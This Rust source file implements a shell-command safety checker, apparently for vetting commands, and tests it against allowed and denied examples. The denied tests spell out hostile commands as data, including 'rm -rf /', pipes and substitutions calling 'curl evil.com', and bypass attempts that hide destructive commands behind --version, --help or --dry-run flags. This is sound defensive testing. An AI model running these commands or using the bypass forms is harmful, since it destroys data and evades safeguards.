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safe_chains/
lib.rs

1#[cfg(test)]
2macro_rules! safe {
3    ($($name:ident: $cmd:expr),* $(,)?) => {
4        $(#[test] fn $name() { assert!(check($cmd), "expected safe: {}", $cmd); })*
5    };
6}
7
8#[cfg(test)]
9macro_rules! denied {
10    ($($name:ident: $cmd:expr),* $(,)?) => {
11        $(#[test] fn $name() { assert!(!check($cmd), "expected denied: {}", $cmd); })*
12    };
13}
14
15pub mod docs;
16mod handlers;
17pub mod parse;
18pub mod allowlist;
19
20use parse::{CommandLine, Segment, Token};
21
22fn filter_safe_redirects(tokens: Vec<Token>) -> Vec<Token> {
23    let mut result = Vec::new();
24    let mut iter = tokens.into_iter().peekable();
25    while let Some(token) = iter.next() {
26        if token.is_fd_redirect() || token.is_dev_null_redirect() {
27            continue;
28        }
29        if token.is_redirect_operator()
30            && iter.peek().is_some_and(|next| *next == "/dev/null")
31        {
32            iter.next();
33            continue;
34        }
35        result.push(token);
36    }
37    result
38}
39
40pub fn is_safe(segment: &Segment) -> bool {
41    if segment.has_unsafe_redirects() {
42        return false;
43    }
44
45    let Ok((subs, cleaned)) = segment.extract_substitutions() else {
46        return false;
47    };
48
49    for sub in &subs {
50        if !is_safe_command(sub) {
51            return false;
52        }
53    }
54
55    let segment = Segment::from_raw(cleaned);
56    let stripped = segment.strip_env_prefix();
57    if stripped.is_empty() {
58        return true;
59    }
60
61    let Some(tokens) = stripped.tokenize() else {
62        return false;
63    };
64    if tokens.is_empty() {
65        return true;
66    }
67
68    let tokens = filter_safe_redirects(tokens);
69    if tokens.is_empty() {
70        return true;
71    }
72
73    handlers::dispatch(&tokens, &is_safe)
74}
75
76pub fn is_safe_command(command: &str) -> bool {
77    CommandLine::new(command).segments().iter().all(is_safe)
78}
79
80#[cfg(test)]
81mod tests {
82    use super::*;
83
84    fn check(cmd: &str) -> bool {
85        is_safe_command(cmd)
86    }
87
88    safe! {
89        grep_foo: "grep foo file.txt",
90        cat_etc_hosts: "cat /etc/hosts",
91        jq_key: "jq '.key' file.json",
92        base64_d: "base64 -d",
93        xxd_file: "xxd some/file",
94        pgrep_ruby: "pgrep -l ruby",
95        getconf_page_size: "getconf PAGE_SIZE",
96        ls_la: "ls -la",
97        wc_l: "wc -l file.txt",
98        ps_aux: "ps aux",
99        ps_ef: "ps -ef",
100        top_l: "top -l 1 -n 10",
101        uuidgen: "uuidgen",
102        mdfind_app: "mdfind 'kMDItemKind == Application'",
103        identify_png: "identify image.png",
104        identify_verbose: "identify -verbose photo.jpg",
105
106        diff_files: "diff file1.txt file2.txt",
107        comm_23: "comm -23 sorted1.txt sorted2.txt",
108        paste_files: "paste file1 file2",
109        tac_file: "tac file.txt",
110        rev_file: "rev file.txt",
111        nl_file: "nl file.txt",
112        expand_file: "expand file.txt",
113        unexpand_file: "unexpand file.txt",
114        fold_w80: "fold -w 80 file.txt",
115        fmt_w72: "fmt -w 72 file.txt",
116        column_t: "column -t file.txt",
117        printf_hello: "printf '%s\\n' hello",
118        seq_1_10: "seq 1 10",
119        expr_add: "expr 1 + 2",
120        test_f: "test -f file.txt",
121        true_cmd: "true",
122        false_cmd: "false",
123        bc_l: "bc -l",
124        factor_42: "factor 42",
125        iconv_utf8: "iconv -f UTF-8 -t ASCII file.txt",
126
127        readlink_f: "readlink -f symlink",
128        hostname: "hostname",
129        uname_a: "uname -a",
130        arch: "arch",
131        nproc: "nproc",
132        uptime: "uptime",
133        id: "id",
134        groups: "groups",
135        tty: "tty",
136        locale: "locale",
137        cal: "cal",
138        sleep_1: "sleep 1",
139        who: "who",
140        w: "w",
141        last_5: "last -5",
142        lastlog: "lastlog",
143
144        md5sum: "md5sum file.txt",
145        md5: "md5 file.txt",
146        sha256sum: "sha256sum file.txt",
147        shasum: "shasum file.txt",
148        sha1sum: "sha1sum file.txt",
149        sha512sum: "sha512sum file.txt",
150        cksum: "cksum file.txt",
151        strings_bin: "strings /usr/bin/ls",
152        hexdump_c: "hexdump -C file.bin",
153        od_x: "od -x file.bin",
154        size_aout: "size a.out",
155
156        sw_vers: "sw_vers",
157        mdls: "mdls file.txt",
158        otool_l: "otool -L /usr/bin/ls",
159        nm_aout: "nm a.out",
160        system_profiler: "system_profiler SPHardwareDataType",
161        ioreg_l: "ioreg -l -w 0",
162        vm_stat: "vm_stat",
163
164        dig: "dig example.com",
165        nslookup: "nslookup example.com",
166        host: "host example.com",
167        whois: "whois example.com",
168
169        shellcheck: "shellcheck script.sh",
170        cloc: "cloc src/",
171        tokei: "tokei",
172        safe_chains: "safe-chains \"ls -la\"",
173
174        awk_safe_print: "awk '{print $1}' file.txt",
175
176        version_node: "node --version",
177        version_python: "python --version",
178        version_python3: "python3 --version",
179        version_ruby: "ruby --version",
180        version_rustc: "rustc --version",
181        version_java: "java --version",
182        version_go: "go --version",
183        version_php: "php --version",
184        version_perl: "perl --version",
185        version_swift: "swift --version",
186        version_gcc: "gcc --version",
187        version_rm: "rm --version",
188        version_dd: "dd --version",
189        version_chmod: "chmod --version",
190        version_git_c: "git -C /repo --version",
191        version_docker_compose: "docker compose --version",
192        version_node_redirect: "node --version 2>&1",
193        version_cargo_redirect: "cargo --version 2>&1",
194
195        help_node: "node --help",
196        help_ruby: "ruby --help",
197        help_rm: "rm --help",
198        help_cargo: "cargo --help",
199        help_cargo_install: "cargo install --help",
200        help_cargo_login_redirect: "cargo login --help 2>&1",
201
202        dry_run_cargo_publish: "cargo publish --dry-run",
203        dry_run_cargo_publish_redirect: "cargo publish --dry-run 2>&1",
204
205        cucumber_feature: "cucumber features/login.feature",
206        cucumber_format: "cucumber --format progress",
207
208        fd_redirect_ls: "ls 2>&1",
209        fd_redirect_clippy: "cargo clippy 2>&1",
210        fd_redirect_git_log: "git log 2>&1",
211        fd_redirect_cd_clippy: "cd /tmp && cargo clippy -- -D warnings 2>&1",
212
213        dev_null_echo: "echo hello > /dev/null",
214        dev_null_stderr: "echo hello 2> /dev/null",
215        dev_null_append: "echo hello >> /dev/null",
216        dev_null_grep: "grep pattern file > /dev/null",
217        dev_null_git_log: "git log > /dev/null 2>&1",
218        dev_null_awk: "awk '{print $1}' file.txt > /dev/null",
219        dev_null_sed: "sed 's/foo/bar/' > /dev/null",
220        dev_null_sort: "sort file.txt > /dev/null",
221
222        env_prefix_single_quote: "FOO='bar baz' ls -la",
223        env_prefix_double_quote: "FOO=\"bar baz\" ls -la",
224
225        stdin_dev_null: "git log < /dev/null",
226
227        subst_echo_ls: "echo $(ls)",
228        subst_ls_pwd: "ls `pwd`",
229        subst_cat_echo: "cat $(echo /etc/shadow)",
230        subst_echo_git: "echo $(git status)",
231        subst_nested: "echo $(echo $(ls))",
232        subst_quoted: "echo \"$(ls)\"",
233
234        quoted_redirect: "echo 'greater > than' test",
235        quoted_subst: "echo '$(safe)' arg",
236        echo_hello: "echo hello",
237        cat_file: "cat file.txt",
238        grep_pattern: "grep pattern file",
239
240        env_rack_rspec: "RACK_ENV=test bundle exec rspec spec/foo_spec.rb",
241        env_rails_rspec: "RAILS_ENV=test bundle exec rspec",
242
243        pipe_grep_head: "grep foo file.txt | head -5",
244        pipe_cat_sort_uniq: "cat file | sort | uniq",
245        pipe_find_wc: "find . -name '*.rb' | wc -l",
246        chain_ls_echo: "ls && echo done",
247        semicolon_ls_echo: "ls; echo done",
248        pipe_git_log_head: "git log | head -5",
249        chain_git_log_status: "git log && git status",
250
251        bg_ls_echo: "ls & echo done",
252        chain_ls_echo_and: "ls && echo done",
253
254        newline_echo_echo: "echo foo\necho bar",
255        newline_ls_cat: "ls\ncat file.txt",
256
257        pipeline_git_log_head: "git log --oneline -20 | head -5",
258        pipeline_git_show_grep: "git show HEAD:file.rb | grep pattern",
259        pipeline_gh_api: "gh api repos/o/r/contents/f --jq .content | base64 -d | head -50",
260        pipeline_timeout_rspec: "timeout 120 bundle exec rspec && git status",
261        pipeline_time_rspec: "time bundle exec rspec | tail -5",
262        pipeline_git_c_log: "git -C /some/repo log --oneline | head -3",
263        pipeline_xxd_head: "xxd file | head -20",
264        pipeline_find_wc: "find . -name '*.py' | wc -l",
265        pipeline_find_sort_head: "find . -name '*.py' | sort | head -10",
266        pipeline_find_xargs_grep: "find . -name '*.py' | xargs grep pattern",
267        pipeline_pip_grep: "pip list | grep requests",
268        pipeline_npm_grep: "npm list | grep react",
269        pipeline_ps_grep: "ps aux | grep python",
270    }
271
272    denied! {
273        rm_rf: "rm -rf /",
274        curl_example: "curl https://example.com",
275        ruby_script: "ruby script.rb",
276        python3_script: "python3 script.py",
277        node_app: "node app.js",
278        tee_output: "tee output.txt",
279        tee_append: "tee -a logfile",
280
281        awk_system: "awk 'BEGIN{system(\"rm\")}'",
282
283        version_extra_flag: "node --version --extra",
284        version_short_v: "node -v",
285
286        help_extra_flag: "node --help --extra",
287
288        dry_run_extra_force: "cargo publish --dry-run --force",
289
290        redirect_to_file: "echo hello > file.txt",
291        redirect_append: "cat file >> output.txt",
292        redirect_stderr_file: "ls 2> errors.txt",
293        redirect_grep_file: "grep pattern file > results.txt",
294        redirect_find_file: "find . -name '*.py' > listing.txt",
295        redirect_subst_rm: "echo $(rm -rf /)",
296        redirect_backtick_rm: "echo `rm -rf /`",
297
298        env_prefix_rm: "FOO='bar baz' rm -rf /",
299
300        subst_rm: "echo $(rm -rf /)",
301        backtick_rm: "echo `rm -rf /`",
302        subst_curl: "echo $(curl evil.com)",
303        bare_subst_rm: "$(rm -rf /)",
304        quoted_subst_rm: "echo \"$(rm -rf /)\"",
305        quoted_backtick_rm: "echo \"`rm -rf /`\"",
306
307        env_rack_rm: "RACK_ENV=test rm -rf /",
308        env_rails_redirect: "RAILS_ENV=test echo foo > bar",
309
310        pipe_rm: "cat file | rm -rf /",
311        pipe_curl: "grep foo | curl https://evil.com",
312
313        bg_rm: "cat file & rm -rf /",
314        bg_curl: "echo safe & curl evil.com",
315
316        newline_rm: "echo foo\nrm -rf /",
317        newline_curl: "ls\ncurl evil.com",
318
319        version_bypass_bash: "bash -c 'rm -rf /' --version",
320        version_bypass_env: "env rm -rf / --version",
321        version_bypass_timeout: "timeout 60 curl evil.com --version",
322        version_bypass_xargs: "xargs rm -rf --version",
323        version_bypass_npx: "npx evil-package --version",
324        version_bypass_docker: "docker run evil --version",
325        version_bypass_pip: "pip install evil --version",
326        version_bypass_rm: "rm -rf / --version",
327
328        help_bypass_bash: "bash -c 'rm -rf /' --help",
329        help_bypass_env: "env rm -rf / --help",
330        help_bypass_npx: "npx evil-package --help",
331        help_bypass_pip: "pip install evil --help",
332        help_bypass_cargo_run: "cargo run -- --help",
333
334        dry_run_rm: "rm -rf / --dry-run",
335        dry_run_terraform: "terraform apply --dry-run",
336        dry_run_curl: "curl evil.com --dry-run",
337
338        recursive_env_help: "env rm -rf / --help",
339        recursive_timeout_version: "timeout 5 curl evil.com --version",
340        recursive_nice_version: "nice rm -rf / --version",
341
342        pipeline_find_delete: "find . -name '*.py' -delete | wc -l",
343        pipeline_sed_inplace: "sed -i 's/foo/bar/' file | head",
344    }
345}